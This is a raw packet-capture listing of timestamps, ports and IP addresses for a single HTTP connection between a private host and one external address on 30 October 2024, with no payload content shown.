Oct 30, 2024 06:16:33.889348984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.889362097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.889374971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.889386892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.889398098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.889413118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.889422894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.889435053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.889442921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.889452934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.889463902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.889471054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.889482021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.889499903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.889508009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.889520884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.889527082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.889539003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.889550924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.889556885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.889565945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.889576912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.889600039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.969676018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.969690084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.969779015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.972702026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972709894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972719908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972731113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972740889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972757101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972768068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972775936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.972785950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972796917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.972804070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972812891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972829103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.972836018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972851038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972860098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.972866058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972877979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972887993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972898006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972903967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.972913027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.972919941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972938061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972944975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.972955942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.972959995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972976923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.972984076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973009109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973021030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973036051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973042965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973052979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973059893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973073959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973082066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973093033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973100901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973108053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973115921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973130941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973162889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973172903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973182917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973193884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973201990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973233938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973242044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973253012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973263979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973278046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973287106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973298073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973304987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973304987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973319054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973346949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973445892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973455906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973472118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973483086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973488092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973498106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973506927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973515987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973527908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973539114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973546028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973572016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973582029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973647118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973656893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973671913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973683119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973692894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973700047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973707914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973720074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973731041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973738909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973747015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973757029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973764896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973782063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973798990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973809958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973814964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973824978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.973835945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973858118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973869085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.973990917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974033117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974051952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974061966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974088907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974098921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974121094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974129915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974139929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974157095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974164963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974174023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974188089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974199057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974206924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974206924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974217892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974224091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974241018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974246979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974252939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974261999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974273920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974281073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974296093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974329948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974390030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974400043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974409103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974421024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974432945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974445105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974456072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974462032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974476099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974483013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974490881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974507093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974515915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974523067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974531889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974540949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974549055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.974558115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.974587917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.987286091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.987298012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.987355947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.194658041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.200135946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473299026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473337889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473346949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473352909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473366022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473376989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473387957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473397970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473411083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473416090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.473428965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473444939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473454952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473464966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473473072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.473478079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473483086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473488092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473490953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.473498106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473507881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473521948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473531008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.473556042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.473706961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473716021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473726034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473756075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.473766088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.473777056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473786116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473794937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473804951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473819971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.473834991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473841906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.473849058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473856926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473866940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473874092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.473881960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473897934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473903894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.473917961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473929882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473933935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.473942995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473948956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.473957062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473967075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.473973036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474001884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474029064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474037886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474045992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474062920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474077940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474081993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474091053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474098921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474113941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474128008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474136114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474142075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474160910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474184990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474203110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474210978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474220037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474229097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474244118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474267006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474272013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474281073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474288940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474298954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474308014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474325895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474339008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474348068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474386930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474397898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474435091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474446058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474455118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474484921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474493980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474507093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474517107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474530935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474540949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474545002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474551916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474560976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474580050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474596977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.474601984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474668980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.474710941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.628663063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.628770113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.628808022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.628818035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.628828049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.628839970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.628850937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.628901958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.628921032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.628930092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.628937960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.628947020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.628954887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.628959894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.628964901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.628973007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.628983021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.628993988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.628998041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629002094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629005909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629010916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629014969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629049063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629060984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629070044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629075050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629080057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629091024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629138947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629147053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629162073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629169941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629192114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629235029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629245043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629271984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629291058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629306078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629314899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629318953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629338980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629369974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629395008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629399061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629415035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629430056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629439116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629446983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629453897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629463911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629477024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629482985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629515886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629528046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629537106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629545927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629553080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629563093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629601002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629617929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629627943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629664898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629681110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629689932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629698992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629712105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629743099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629792929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629801989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629811049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:34.629823923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:34.629828930 CET	80	49758	185.215.113.206	192.168.2.4
